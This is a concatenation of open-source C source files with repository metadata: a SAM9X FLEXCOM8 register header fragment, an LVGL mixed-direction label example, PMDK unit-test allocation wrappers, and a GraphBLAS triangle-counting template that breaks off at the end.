/**< \brief (FLEXCOM8) USART FIFO Event Status Register */ #define REG_FLEXCOM8_US_WPMR (0xF80182E4U) /**< \brief (FLEXCOM8) USART Write Protection Mode Register */ #define REG_FLEXCOM8_US_WPSR (0xF80182E8U) /**< \brief (FLEXCOM8) USART Write Protection Status Register */ #define REG_FLEXCOM8_SPI_CR (0xF8018400U) /**< \brief (FLEXCOM8) SPI Control Register */ #define REG_FLEXCOM8_SPI_MR (0xF8018404U) /**< \brief (FLEXCOM8) SPI Mode Register */ #define REG_FLEXCOM8_SPI_RDR (0xF8018408U) /**< \brief (FLEXCOM8) SPI Receive Data Register */ #define REG_FLEXCOM8_SPI_TDR (0xF801840CU) /**< \brief (FLEXCOM8) SPI Transmit Data Register */ #define REG_FLEXCOM8_SPI_SR (0xF8018410U) /**< \brief (FLEXCOM8) SPI Status Register */ #define REG_FLEXCOM8_SPI_IER (0xF8018414U) /**< \brief (FLEXCOM8) SPI Interrupt Enable Register */ #define REG_FLEXCOM8_SPI_IDR (0xF8018418U) /**< \brief (FLEXCOM8) SPI Interrupt Disable Register */ #define REG_FLEXCOM8_SPI_IMR (0xF801841CU) /**< \brief (FLEXCOM8) SPI Interrupt Mask Register */ #define REG_FLEXCOM8_SPI_CSR (0xF8018430U) /**< \brief (FLEXCOM8) SPI Chip Select Register */ #define REG_FLEXCOM8_SPI_FMR (0xF8018440U) /**< \brief (FLEXCOM8) SPI FIFO Mode Register */ #define REG_FLEXCOM8_SPI_FLR (0xF8018444U) /**< \brief (FLEXCOM8) SPI FIFO Level Register */ #define REG_FLEXCOM8_SPI_CMPR (0xF8018448U) /**< \brief (FLEXCOM8) SPI Comparison Register */ #define REG_FLEXCOM8_SPI_WPMR (0xF80184E4U) /**< \brief (FLEXCOM8) SPI Write Protection Mode Register */ #define REG_FLEXCOM8_SPI_WPSR (0xF80184E8U) /**< \brief (FLEXCOM8) SPI Write Protection Status Register */ #define REG_FLEXCOM8_TWI_CR (0xF8018600U) /**< \brief (FLEXCOM8) TWI Control Register */ #define REG_FLEXCOM8_TWI_MMR (0xF8018604U) /**< \brief (FLEXCOM8) TWI Master Mode Register */ #define REG_FLEXCOM8_TWI_SMR (0xF8018608U) /**< \brief (FLEXCOM8) TWI Slave Mode Register */ #define REG_FLEXCOM8_TWI_IADR (0xF801860CU) /**< \brief (FLEXCOM8) TWI Internal Address Register */ #define REG_FLEXCOM8_TWI_CWGR (0xF8018610U) /**< \brief (FLEXCOM8) TWI Clock Waveform Generator Register */ #define REG_FLEXCOM8_TWI_SR (0xF8018620U) /**< \brief (FLEXCOM8) TWI Status Register */ #define REG_FLEXCOM8_TWI_IER (0xF8018624U) /**< \brief (FLEXCOM8) TWI Interrupt Enable Register */ #define REG_FLEXCOM8_TWI_IDR (0xF8018628U) /**< \brief (FLEXCOM8) TWI Interrupt Disable Register */ #define REG_FLEXCOM8_TWI_IMR (0xF801862CU) /**< \brief (FLEXCOM8) TWI Interrupt Mask Register */ #define REG_FLEXCOM8_TWI_RHR (0xF8018630U) /**< \brief (FLEXCOM8) TWI Receive Holding Register */ #define REG_FLEXCOM8_TWI_THR (0xF8018634U) /**< \brief (FLEXCOM8) TWI Transmit Holding Register */ #define REG_FLEXCOM8_TWI_SMBTR (0xF8018638U) /**< \brief (FLEXCOM8) TWI SMBus Timing Register */ #define REG_FLEXCOM8_TWI_ACR (0xF8018640U) /**< \brief (FLEXCOM8) TWI Alternative Command Register */ #define REG_FLEXCOM8_TWI_FILTR (0xF8018644U) /**< \brief (FLEXCOM8) TWI Filter Register */ #define REG_FLEXCOM8_TWI_FMR (0xF8018650U) /**< \brief (FLEXCOM8) TWI FIFO Mode Register */ #define REG_FLEXCOM8_TWI_FLR (0xF8018654U) /**< \brief (FLEXCOM8) TWI FIFO Level Register */ #define REG_FLEXCOM8_TWI_FSR (0xF8018660U) /**< \brief (FLEXCOM8) TWI FIFO Status Register */ #define REG_FLEXCOM8_TWI_FIER (0xF8018664U) /**< \brief (FLEXCOM8) TWI FIFO Interrupt Enable Register */ #define REG_FLEXCOM8_TWI_FIDR (0xF8018668U) /**< \brief (FLEXCOM8) TWI FIFO Interrupt Disable Register */ #define REG_FLEXCOM8_TWI_FIMR (0xF801866CU) /**< \brief (FLEXCOM8) TWI FIFO Interrupt Mask Register */ #define REG_FLEXCOM8_TWI_WPMR (0xF80186E4U) /**< \brief (FLEXCOM8) TWI Write Protection Mode Register */ #define REG_FLEXCOM8_TWI_WPSR (0xF80186E8U) /**< \brief (FLEXCOM8) TWI Write Protection Status Register */ #else #define REG_FLEXCOM8_MR (*(__IO uint32_t*)0xF8018000U) /**< \brief (FLEXCOM8) FLEXCOM Mode Register */ #define REG_FLEXCOM8_RHR (*(__I uint32_t*)0xF8018010U) /**< \brief (FLEXCOM8) FLEXCOM Receive Holding Register */ #define REG_FLEXCOM8_THR (*(__IO uint32_t*)0xF8018020U) /**< \brief (FLEXCOM8) FLEXCOM Transmit Holding Register */ #define REG_FLEXCOM8_US_CR (*(__O uint32_t*)0xF8018200U) /**< \brief (FLEXCOM8) USART Control Register */ #define REG_FLEXCOM8_US_MR (*(__IO uint32_t*)0xF8018204U) /**< \brief (FLEXCOM8) USART Mode Register */ #define REG_FLEXCOM8_US_IER (*(__O uint32_t*)0xF8018208U) /**< \brief (FLEXCOM8) USART Interrupt Enable Register */ #define REG_FLEXCOM8_US_IDR (*(__O uint32_t*)0xF801820CU) /**< \brief (FLEXCOM8) USART Interrupt Disable Register */ #define REG_FLEXCOM8_US_IMR (*(__I uint32_t*)0xF8018210U) /**< \brief (FLEXCOM8) USART Interrupt Mask Register */ #define REG_FLEXCOM8_US_CSR (*(__I uint32_t*)0xF8018214U) /**< \brief (FLEXCOM8) USART Channel Status Register */ #define REG_FLEXCOM8_US_RHR (*(__I uint32_t*)0xF8018218U) /**< \brief (FLEXCOM8) USART Receive Holding Register */ #define REG_FLEXCOM8_US_THR (*(__O uint32_t*)0xF801821CU) /**< \brief (FLEXCOM8) USART Transmit Holding Register */ #define REG_FLEXCOM8_US_BRGR (*(__IO uint32_t*)0xF8018220U) /**< \brief (FLEXCOM8) USART Baud Rate Generator Register */ #define REG_FLEXCOM8_US_RTOR (*(__IO uint32_t*)0xF8018224U) /**< \brief (FLEXCOM8) USART Receiver Timeout Register */ #define REG_FLEXCOM8_US_TTGR (*(__IO uint32_t*)0xF8018228U) /**< \brief (FLEXCOM8) USART Transmitter Timeguard Register */ #define REG_FLEXCOM8_US_FIDI (*(__IO uint32_t*)0xF8018240U) /**< \brief (FLEXCOM8) USART FI DI Ratio Register */ #define REG_FLEXCOM8_US_NER (*(__I uint32_t*)0xF8018244U) /**< \brief (FLEXCOM8) USART Number of Errors Register */ #define REG_FLEXCOM8_US_IF (*(__IO uint32_t*)0xF801824CU) /**< \brief (FLEXCOM8) USART IrDA Filter Register */ #define REG_FLEXCOM8_US_MAN (*(__IO uint32_t*)0xF8018250U) /**< \brief (FLEXCOM8) USART Manchester Configuration Register */ #define REG_FLEXCOM8_US_LINMR (*(__IO uint32_t*)0xF8018254U) /**< \brief (FLEXCOM8) USART LIN Mode Register */ #define REG_FLEXCOM8_US_LINIR (*(__IO uint32_t*)0xF8018258U) /**< \brief (FLEXCOM8) USART LIN Identifier Register */ #define REG_FLEXCOM8_US_LINBRR (*(__I uint32_t*)0xF801825CU) /**< \brief (FLEXCOM8) USART LIN Baud Rate Register */ #define REG_FLEXCOM8_US_LONMR (*(__IO uint32_t*)0xF8018260U) /**< \brief (FLEXCOM8) USART LON Mode Register */ #define REG_FLEXCOM8_US_LONPR (*(__IO uint32_t*)0xF8018264U) /**< \brief (FLEXCOM8) USART LON Preamble Register */ #define REG_FLEXCOM8_US_LONDL (*(__IO uint32_t*)0xF8018268U) /**< \brief (FLEXCOM8) USART LON Data Length Register */ #define REG_FLEXCOM8_US_LONL2HDR (*(__IO uint32_t*)0xF801826CU) /**< \brief (FLEXCOM8) USART LON L2HDR Register */ #define REG_FLEXCOM8_US_LONBL (*(__I uint32_t*)0xF8018270U) /**< \brief (FLEXCOM8) USART LON Backlog Register */ #define REG_FLEXCOM8_US_LONB1TX (*(__IO uint32_t*)0xF8018274U) /**< \brief (FLEXCOM8) USART LON Beta1 Tx Register */ #define REG_FLEXCOM8_US_LONB1RX (*(__IO uint32_t*)0xF8018278U) /**< \brief (FLEXCOM8) USART LON Beta1 Rx Register */ #define REG_FLEXCOM8_US_LONPRIO (*(__IO uint32_t*)0xF801827CU) /**< \brief (FLEXCOM8) USART LON Priority Register */ #define REG_FLEXCOM8_US_IDTTX (*(__IO uint32_t*)0xF8018280U) /**< \brief (FLEXCOM8) USART LON IDT Tx Register */ #define REG_FLEXCOM8_US_IDTRX (*(__IO uint32_t*)0xF8018284U) /**< \brief (FLEXCOM8) USART LON IDT Rx Register */ #define REG_FLEXCOM8_US_ICDIFF (*(__IO uint32_t*)0xF8018288U) /**< \brief (FLEXCOM8) USART IC DIFF Register */ #define REG_FLEXCOM8_US_CMPR (*(__IO uint32_t*)0xF8018290U) /**< \brief (FLEXCOM8) USART Comparison Register */ #define REG_FLEXCOM8_US_FMR (*(__IO uint32_t*)0xF80182A0U) /**< \brief (FLEXCOM8) USART FIFO Mode Register */ #define REG_FLEXCOM8_US_FLR (*(__I uint32_t*)0xF80182A4U) /**< \brief (FLEXCOM8) USART FIFO Level Register */ #define REG_FLEXCOM8_US_FIER (*(__O uint32_t*)0xF80182A8U) /**< \brief (FLEXCOM8) USART FIFO Interrupt Enable Register */ #define REG_FLEXCOM8_US_FIDR (*(__O uint32_t*)0xF80182ACU) /**< \brief (FLEXCOM8) USART FIFO Interrupt Disable Register */ #define REG_FLEXCOM8_US_FIMR (*(__I uint32_t*)0xF80182B0U) /**< \brief (FLEXCOM8) USART FIFO Interrupt Mask Register */ #define REG_FLEXCOM8_US_FESR (*(__I uint32_t*)0xF80182B4U) /**< \brief (FLEXCOM8) USART FIFO Event Status Register */ #define REG_FLEXCOM8_US_WPMR (*(__IO uint32_t*)0xF80182E4U) /**< \brief (FLEXCOM8) USART Write Protection Mode Register */ #define REG_FLEXCOM8_US_WPSR (*(__I uint32_t*)0xF80182E8U) /**< \brief (FLEXCOM8) USART Write Protection Status Register */ #define REG_FLEXCOM8_SPI_CR (*(__O uint32_t*)0xF8018400U) /**< \brief (FLEXCOM8) SPI Control Register */ #define REG_FLEXCOM8_SPI_MR (*(__IO uint32_t*)0xF8018404U) /**< \brief (FLEXCOM8) SPI Mode Register */ #define REG_FLEXCOM8_SPI_RDR (*(__I uint32_t*)0xF8018408U) /**< \brief (FLEXCOM8) SPI Receive Data Register */ #define REG_FLEXCOM8_SPI_TDR (*(__O uint32_t*)0xF801840CU) /**< \brief (FLEXCOM8) SPI Transmit Data Register */ #define REG_FLEXCOM8_SPI_SR (*(__I uint32_t*)0xF8018410U) /**< \brief (FLEXCOM8) SPI Status Register */ #define REG_FLEXCOM8_SPI_IER (*(__O uint32_t*)0xF8018414U) /**< \brief (FLEXCOM8) SPI Interrupt Enable Register */ #define REG_FLEXCOM8_SPI_IDR (*(__O uint32_t*)0xF8018418U) /**< \brief (FLEXCOM8) SPI Interrupt Disable Register */ #define REG_FLEXCOM8_SPI_IMR (*(__I uint32_t*)0xF801841CU) /**< \brief (FLEXCOM8) SPI Interrupt Mask Register */ #define REG_FLEXCOM8_SPI_CSR (*(__IO uint32_t*)0xF8018430U) /**< \brief (FLEXCOM8) SPI Chip Select Register */ #define REG_FLEXCOM8_SPI_FMR (*(__IO uint32_t*)0xF8018440U) /**< \brief (FLEXCOM8) SPI FIFO Mode Register */ #define REG_FLEXCOM8_SPI_FLR (*(__I uint32_t*)0xF8018444U) /**< \brief (FLEXCOM8) SPI FIFO Level Register */ #define REG_FLEXCOM8_SPI_CMPR (*(__IO uint32_t*)0xF8018448U) /**< \brief (FLEXCOM8) SPI Comparison Register */ #define REG_FLEXCOM8_SPI_WPMR (*(__IO uint32_t*)0xF80184E4U) /**< \brief (FLEXCOM8) SPI Write Protection Mode Register */ #define REG_FLEXCOM8_SPI_WPSR (*(__I uint32_t*)0xF80184E8U) /**< \brief (FLEXCOM8) SPI Write Protection Status Register */ #define REG_FLEXCOM8_TWI_CR (*(__O uint32_t*)0xF8018600U) /**< \brief (FLEXCOM8) TWI Control Register */ #define REG_FLEXCOM8_TWI_MMR (*(__IO uint32_t*)0xF8018604U) /**< \brief (FLEXCOM8) TWI Master Mode Register */ #define REG_FLEXCOM8_TWI_SMR (*(__IO uint32_t*)0xF8018608U) /**< \brief (FLEXCOM8) TWI Slave Mode Register */ #define REG_FLEXCOM8_TWI_IADR (*(__IO uint32_t*)0xF801860CU) /**< \brief (FLEXCOM8) TWI Internal Address Register */ #define REG_FLEXCOM8_TWI_CWGR (*(__IO uint32_t*)0xF8018610U) /**< \brief (FLEXCOM8) TWI Clock Waveform Generator Register */ #define REG_FLEXCOM8_TWI_SR (*(__I uint32_t*)0xF8018620U) /**< \brief (FLEXCOM8) TWI Status Register */ #define REG_FLEXCOM8_TWI_IER (*(__O uint32_t*)0xF8018624U) /**< \brief (FLEXCOM8) TWI Interrupt Enable Register */ #define REG_FLEXCOM8_TWI_IDR (*(__O uint32_t*)0xF8018628U) /**< \brief (FLEXCOM8) TWI Interrupt Disable Register */ #define REG_FLEXCOM8_TWI_IMR (*(__I uint32_t*)0xF801862CU) /**< \brief (FLEXCOM8) TWI Interrupt Mask Register */ #define REG_FLEXCOM8_TWI_RHR (*(__I uint32_t*)0xF8018630U) /**< \brief (FLEXCOM8) TWI Receive Holding Register */ #define REG_FLEXCOM8_TWI_THR (*(__O uint32_t*)0xF8018634U) /**< \brief (FLEXCOM8) TWI Transmit Holding Register */ #define REG_FLEXCOM8_TWI_SMBTR (*(__IO uint32_t*)0xF8018638U) /**< \brief (FLEXCOM8) TWI SMBus Timing Register */ #define REG_FLEXCOM8_TWI_ACR (*(__IO uint32_t*)0xF8018640U) /**< \brief (FLEXCOM8) TWI Alternative Command Register */ #define REG_FLEXCOM8_TWI_FILTR (*(__IO uint32_t*)0xF8018644U) /**< \brief (FLEXCOM8) TWI Filter Register */ #define REG_FLEXCOM8_TWI_FMR (*(__IO uint32_t*)0xF8018650U) /**< \brief (FLEXCOM8) TWI FIFO Mode Register */ #define REG_FLEXCOM8_TWI_FLR (*(__I uint32_t*)0xF8018654U) /**< \brief (FLEXCOM8) TWI FIFO Level Register */ #define REG_FLEXCOM8_TWI_FSR (*(__I uint32_t*)0xF8018660U) /**< \brief (FLEXCOM8) TWI FIFO Status Register */ #define REG_FLEXCOM8_TWI_FIER (*(__O uint32_t*)0xF8018664U) /**< \brief (FLEXCOM8) TWI FIFO Interrupt Enable Register */ #define REG_FLEXCOM8_TWI_FIDR (*(__O uint32_t*)0xF8018668U) /**< \brief (FLEXCOM8) TWI FIFO Interrupt Disable Register */ #define REG_FLEXCOM8_TWI_FIMR (*(__I uint32_t*)0xF801866CU) /**< \brief (FLEXCOM8) TWI FIFO Interrupt Mask Register */ #define REG_FLEXCOM8_TWI_WPMR (*(__IO uint32_t*)0xF80186E4U) /**< \brief (FLEXCOM8) TWI Write Protection Mode Register */ #define REG_FLEXCOM8_TWI_WPSR (*(__I uint32_t*)0xF80186E8U) /**< \brief (FLEXCOM8) TWI Write Protection Status Register */ #endif /* (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) */ #endif /* _SAM9X_FLEXCOM8_INSTANCE_ */
3202878c55c58d1c7f53098a66781accf821786b
83e7dc1281874779c46dfadcc15b2bb66d8e599c
/examples/widgets/label/lv_example_label_3.c
680d88fe3452a114d751de39ddecdce265ba83e1
[ "MIT" ]
permissive
lvgl/lvgl
7d51d6774d6ac71df7101fc7ded56fea4b70be01
5c984b4a5364b6455966eb3a860153806c51626f
refs/heads/master
2023-08-30T22:39:20.283922
2023-08-30T19:55:29
2023-08-30T19:55:29
60,667,730
9,296
2,218
MIT
2023-09-14T17:59:34
2016-06-08T04:14:34
C
UTF-8
C
false
false
1,471
c
lv_example_label_3.c
#include "../../lv_examples.h" #if LV_USE_LABEL && LV_BUILD_EXAMPLES && LV_FONT_DEJAVU_16_PERSIAN_HEBREW && LV_FONT_SIMSUN_16_CJK && LV_USE_BIDI /** * Show mixed LTR, RTL and Chinese label */ void lv_example_label_3(void) { lv_obj_t * ltr_label = lv_label_create(lv_scr_act()); lv_label_set_text(ltr_label, "In modern terminology, a microcontroller is similar to a system on a chip (SoC)."); lv_obj_set_style_text_font(ltr_label, &lv_font_montserrat_16, 0); lv_obj_set_width(ltr_label, 310); lv_obj_align(ltr_label, LV_ALIGN_TOP_LEFT, 5, 5); lv_obj_t * rtl_label = lv_label_create(lv_scr_act()); lv_label_set_text(rtl_label, "מעבד, או בשמו המלא יחידת עיבוד מרכזית (באנגלית: CPU - Central Processing Unit)."); lv_obj_set_style_base_dir(rtl_label, LV_BASE_DIR_RTL, 0); lv_obj_set_style_text_font(rtl_label, &lv_font_dejavu_16_persian_hebrew, 0); lv_obj_set_width(rtl_label, 310); lv_obj_align(rtl_label, LV_ALIGN_LEFT_MID, 5, 0); lv_obj_t * cz_label = lv_label_create(lv_scr_act()); lv_label_set_text(cz_label, "嵌入式系统(Embedded System),\n是一种嵌入机械或电气系统内部、具有专一功能和实时计算性能的计算机系统。"); lv_obj_set_style_text_font(cz_label, &lv_font_simsun_16_cjk, 0); lv_obj_set_width(cz_label, 310); lv_obj_align(cz_label, LV_ALIGN_BOTTOM_LEFT, 5, -5); } #endif
2b2159d35fab0b9b8f30b2adf2310d52db5d65e1
e72db16e9747386afd01edd1dd36d9589a3f71ef
/src/test/unittest/ut_alloc.c
25c789bd8391b4991571b321fc685b0060586c68
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
pmem/pmdk
5e49feee8017574340db2a0f9b4e2eab99f8581c
ccadb16227bddea1bdcc518bd8f298d551b2baad
refs/heads/master
2023-08-31T02:28:06.884934
2023-08-30T14:52:25
2023-08-30T14:52:25
23,637,153
1,017
402
NOASSERTION
2023-09-07T11:52:42
2014-09-03T20:55:23
C
UTF-8
C
false
false
4,008
c
ut_alloc.c
// SPDX-License-Identifier: BSD-3-Clause /* Copyright 2014-2023, Intel Corporation */ /* * ut_alloc.c -- unit test memory allocation routines */ #include "unittest.h" /* * ut_malloc -- a malloc that cannot return NULL */ void * ut_malloc(const char *file, int line, const char *func, size_t size) { void *retval = malloc(size); if (retval == NULL) ut_fatal(file, line, func, "cannot malloc %zu bytes", size); return retval; } /* * ut_calloc -- a calloc that cannot return NULL */ void * ut_calloc(const char *file, int line, const char *func, size_t nmemb, size_t size) { void *retval = calloc(nmemb, size); if (retval == NULL) ut_fatal(file, line, func, "cannot calloc %zu bytes", size); return retval; } /* * ut_free -- wrapper for free * * technically we don't need to wrap free since there's no return to * check. using this wrapper to add memory allocation tracking later. */ void ut_free(const char *file, int line, const char *func, void *ptr) { free(ptr); } /* * ut_aligned_free -- wrapper for aligned memory free */ void ut_aligned_free(const char *file, int line, const char *func, void *ptr) { free(ptr); } /* * ut_realloc -- a realloc that cannot return NULL */ void * ut_realloc(const char *file, int line, const char *func, void *ptr, size_t size) { void *retval = realloc(ptr, size); if (retval == NULL) ut_fatal(file, line, func, "cannot realloc %zu bytes", size); return retval; } /* * ut_strdup -- a strdup that cannot return NULL */ char * ut_strdup(const char *file, int line, const char *func, const char *str) { char *retval = strdup(str); if (retval == NULL) ut_fatal(file, line, func, "cannot strdup %zu bytes", strlen(str)); return retval; } /* * ut_memalign -- like malloc but page-aligned memory */ void * ut_memalign(const char *file, int line, const char *func, size_t alignment, size_t size) { void *retval; if ((errno = posix_memalign(&retval, alignment, size)) != 0) ut_fatal(file, line, func, "!memalign %zu bytes (%zu alignment)", size, alignment); return retval; } /* * ut_pagealignmalloc -- like malloc but page-aligned memory */ void * ut_pagealignmalloc(const char *file, int line, const char *func, size_t size) { return ut_memalign(file, line, func, (size_t)Ut_pagesize, size); } /* * ut_mmap_anon_aligned -- mmaps anonymous memory with specified (power of two, * multiple of page size) alignment and adds guard * pages around it */ void * ut_mmap_anon_aligned(const char *file, int line, const char *func, size_t alignment, size_t size) { char *d, *d_aligned; uintptr_t di, di_aligned; size_t sz; if (alignment == 0) alignment = Ut_mmap_align; /* alignment must be a multiple of page size */ if (alignment & (Ut_mmap_align - 1)) return NULL; /* power of two */ if (alignment & (alignment - 1)) return NULL; d = ut_mmap(file, line, func, NULL, size + 2 * alignment, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); di = (uintptr_t)d; di_aligned = (di + alignment - 1) & ~(alignment - 1); if (di == di_aligned) di_aligned += alignment; d_aligned = (void *)di_aligned; sz = di_aligned - di; if (sz - Ut_mmap_align) ut_munmap(file, line, func, d, sz - Ut_mmap_align); /* guard page before */ ut_mprotect(file, line, func, d_aligned - Ut_mmap_align, Ut_mmap_align, PROT_NONE); /* guard page after */ ut_mprotect(file, line, func, d_aligned + size, Ut_mmap_align, PROT_NONE); sz = di + size + 2 * alignment - (di_aligned + size) - Ut_mmap_align; if (sz) ut_munmap(file, line, func, d_aligned + size + Ut_mmap_align, sz); return d_aligned; } /* * ut_munmap_anon_aligned -- unmaps anonymous memory allocated by * ut_mmap_anon_aligned */ int ut_munmap_anon_aligned(const char *file, int line, const char *func, void *start, size_t size) { return ut_munmap(file, line, func, (char *)start - Ut_mmap_align, size + 2 * Ut_mmap_align); }
e42788ba43d9cf5631ef6406b5b9d5461f184d93
65089dbc386e1184983c15fe3a2282763ae65960
/src/librpc.c
59483589a9cb322ce236fbfe29cdc247999eb443
[ "MIT" ]
permissive
gozfree/gear-lib
9f4db1bce799ded1cf1f3411cb51bdfbcbe7c7bc
bffbfd25af4ff7b04ebfafdab391b55270b0273e
refs/heads/master
2023-08-14T16:01:29.449910
2023-07-24T16:08:47
2023-07-24T16:09:41
40,359,871
1,771
488
MIT
2023-05-27T11:08:46
2015-08-07T12:41:05
C
UTF-8
C
false
false
27
c
librpc.c
../gear-lib/librpc/librpc.c
1cb1eb74ae3d7dae7879b1748fe85fa88fb9bd90
21c92afbd7fd022a206fb31294c523aebb770104
/SuiteSparse/GraphBLAS/Extras/tri/tri_template.c
91bc035bcfe768500a91563410d9037e38c6ea65
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause", "LicenseRef-scancode-free-unknown", "GPL-2.0-or-later", "GPL-3.0-only", "LGPL-2.1-or-later", "LGPL-2.0-or-later", "GPL-1.0-or-later", "LicenseRef-scancode-other-copyleft", "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
jlblancoc/suitesparse-metis-for-windows
70e6bcab2b525afb41758d61f823efa0618f67cf
5ee2eb4bc7bfd6d27af2f7fb027b1545cfc0fa3f
refs/heads/master
2023-08-30T21:15:39.624300
2023-03-09T10:16:48
2023-03-09T10:16:48
16,236,582
423
251
BSD-3-Clause
2023-03-09T10:18:08
2014-01-25T18:06:21
C
UTF-8
C
false
false
11,455
c
tri_template.c
//------------------------------------------------------------------------------ // tri_template: count triangles in a graph, outer-product method //------------------------------------------------------------------------------ // Compute the # of triangles in a graph, C<A>=A*A in GraphBLAS notation, then // ntri=sum(C). Or, in MATLAB notation, ntri = sum (sum ((A*A).*A)). C=A*A is // computed using an outer-product matrix multiplication. C is not computed // explicitly, but its entries are summed up in the scalar ntri. // A is a binary matrix stored in compressed sparse column form. Its values // are not stored. If A(i,j) is in the pattern, its value is assumed to be 1. // The pattern of column j is in Ai [Ap [j]..Ap[j+1]]. Row indices in the // matrix A must be sorted. Ap[0]=0, and Ap [n] = total number of entries in // the matrix. Ap is of size n+1. // When this function is called, A is a triangular matrix (with no diagonal // entries, or a symmetric permutation of such a triangular matrix. However, // this function works on any matrix. It just computes sum(sum((A*A).*A) in // MATLAB notation, or C<A>=A*A where A is binary, followed by reduce(C), to // scalar. // So it can be used with C<L>=L*L or C<U>=U*U, and ntri is the number of // triangles. It can also be used as C<A>=A*A where A is symmetric, in // which case the # of triangles is ntri/6 (Burkhardt's method). // This file creates eight methods via compile-time definitions: // // BIT: if defined, Mark is a bit vector of size n. Otherwise it is a // bool array of size n. This can help cut workspace if many // threads are used since each thread needs its own Mark array. // PARALLEL: if defined, then OpenMP is used // LOGSEARCH: if binary search is used to reduce the work // Compare this code with tri_simple.c. That code is a simple version of this // algorithm, with the bare essential features. #ifdef BIT #define MARK_TYPE uint8_t #define MARK_SIZE (1 + n/8) #define SET_MARK(i) { Index t=(i) ; Mark [t/8] |= (1 << (t%8)) ; } #define CLEAR_MARK(i) { Mark [(i)/8] = 0 ; } #define COUNT_MARK(i) { Index t=(i) ; if (Mark [t/8] & (1 << t%8)) ntri++ ; } #else #define MARK_TYPE bool #define MARK_SIZE n #define SET_MARK(i) { Mark [i] = 1 ; } #define CLEAR_MARK(i) { Mark [i] = 0 ; } #define COUNT_MARK(i) { ntri += Mark [i] ; } #endif #ifdef LOGSEARCH #ifdef PARALLEL #ifdef BIT #define TRI_FUNCTION tri_logbit_parallel #else #define TRI_FUNCTION tri_logmark_parallel #endif #else #ifdef BIT #define TRI_FUNCTION tri_logbit #else #define TRI_FUNCTION tri_logmark #endif #endif #else #ifdef PARALLEL #ifdef BIT #define TRI_FUNCTION tri_bit_parallel #else #define TRI_FUNCTION tri_mark_parallel #endif #else #ifdef BIT #define TRI_FUNCTION tri_bit #else #define TRI_FUNCTION tri_mark #endif #endif #endif //------------------------------------------------------------------------------ // tri_* function: count the triangles in a graph //------------------------------------------------------------------------------ int64_t TRI_FUNCTION // # of triangles, or -1 if out of memory ( const int64_t *restrict Ap, // column pointers, size n+1 const Index *restrict Ai, // row indices, size nz = Ap [n] const Index n // A is n-by-n #ifdef PARALLEL , const int threads // # of threads , const Index chunk // scheduler chunk size #endif ) { int64_t ntri = 0 ; // # of triangles bool ok = true ; // false if any thread ran out of memory //-------------------------------------------------------------------------- // check if sequential version of same algorithm should be used //-------------------------------------------------------------------------- #ifdef PARALLEL if (n < chunk || threads < 2) { #ifdef LOGSEARCH #ifdef BIT return (tri_logbit (Ap, Ai, n)) ; #else return (tri_logmark (Ap, Ai, n)) ; #endif #else #ifdef BIT return (tri_bit (Ap, Ai, n)) ; #else return (tri_mark (Ap, Ai, n)) ; #endif #endif } #endif //-------------------------------------------------------------------------- // parallel and sequential triangle counting, outer-product method //-------------------------------------------------------------------------- #ifdef PARALLEL #pragma omp parallel num_threads(threads) reduction(+:ntri) reduction(&&:ok) #endif { //---------------------------------------------------------------------- // get workspace //---------------------------------------------------------------------- // each thread needs its own private workspace, Mark [0..n-1] = 0 MARK_TYPE *restrict Mark = calloc (MARK_SIZE, sizeof (MARK_TYPE)) ; if (Mark == NULL) { ok = false ; } else { //------------------------------------------------------------------ // count triangles in each column C(:,j) //------------------------------------------------------------------ #ifdef PARALLEL #pragma omp for schedule(dynamic,chunk) #endif for (Index j = 0 ; j < n ; j++) { //-------------------------------------------------------------- // get column j of A //-------------------------------------------------------------- // A(:,j) has row indices in range jlo..jhi Index jlo, jhi ; if (!tri_lohi (Ap, Ai, j, &jlo, &jhi)) continue ; bool marked = false ; #ifdef LOGSEARCH Index ljnz = jhi - jlo + 1 ; #endif //-------------------------------------------------------------- // compute sum(C(:,j)) where C=(A*A(:,j))*.(A(:,j)) //-------------------------------------------------------------- for (int64_t p = Ap [j] ; p < Ap [j+1] ; p++) { //---------------------------------------------------------- // A(k,j) is present, compute C(:,j) += A(:,j)*A(k,j) //---------------------------------------------------------- const Index k = Ai [p] ; // A(:,k) has row indices in range klo..khi Index klo, khi ; if (!tri_lohi (Ap, Ai, k, &klo, &khi)) continue ; // skip if A(:,j) and A(:,k) do not overlap if (khi < jlo || klo > jhi) continue ; //---------------------------------------------------------- // binary search if A(:,k) has many nonzeros //---------------------------------------------------------- #ifdef LOGSEARCH // find the intersection between the mask, A(:,j), // and the column A(:,k) Index lknz = khi - klo + 1 ; if (512 * ljnz < lknz) // (4 * ljnz * log2 (lknz) < lknz) { //------------------------------------------------------ // A (:,j) is very sparse compared with A (:,k) ; //------------------------------------------------------ // Do not use the Mark array at all, but use binary // search instead. time is O(ljnz * log (lknz)) int64_t pleft = Ap [k] ; for (int64_t p = Ap [j] ; p < Ap [j+1] ; p++) { // find i in A (:,k) Index i = Ai [p] ; // binary search of Ai [pleft ... pright] for i int64_t pright = Ap [k+1] - 1 ; while (pleft < pright) { int64_t pmiddle = (pleft + pright) / 2 ; if (i > Ai [pmiddle]) { // if in the list, it appears in // [pmiddle+1..pright] pleft = pmiddle + 1 ; } else { // if in the list, it appears in // [pleft..pmiddle] pright = pmiddle ; } } if (pleft == pright && Ai [pleft] == i) { // found it: A(i,k) and A (k,j) both nonzero // C(i,j) += A (i,k) * A (k,j) ntri++ ; } } continue ; } #endif //---------------------------------------------------------- // linear search //---------------------------------------------------------- if (!marked) { // scatter A(:,j) into Mark for (int64_t p = Ap [j] ; p < Ap [j+1] ; p++) { // Mark [Ai [p]] = 1 ; SET_MARK (Ai [p]) ; } marked = true ; } for (int64_t pa = Ap [k] ; pa < Ap [k+1] ; pa++) { // C(i,j) += A (i,k) * A (k,j) COUNT_MARK (Ai [pa]) ; } } //-------------------------------------------------------------- // clear the Mark array //-------------------------------------------------------------- if (marked) { for (int64_t p = Ap [j] ; p < Ap [j+1] ; p++) { // Mark [Ai [p]] = 0 ; CLEAR_MARK (Ai [p]) ; } } } //------------------------------------------------------------------ // free workspace //------------------------------------------------------------------ free (Mark) ; } } //-------------------------------------------------------------------------- // return result //-------------------------------------------------------------------------- return (ok ? ntri : -1) ; } #undef BIT #undef PARALLEL #undef MARK_TYPE #undef MARK_SIZE #undef 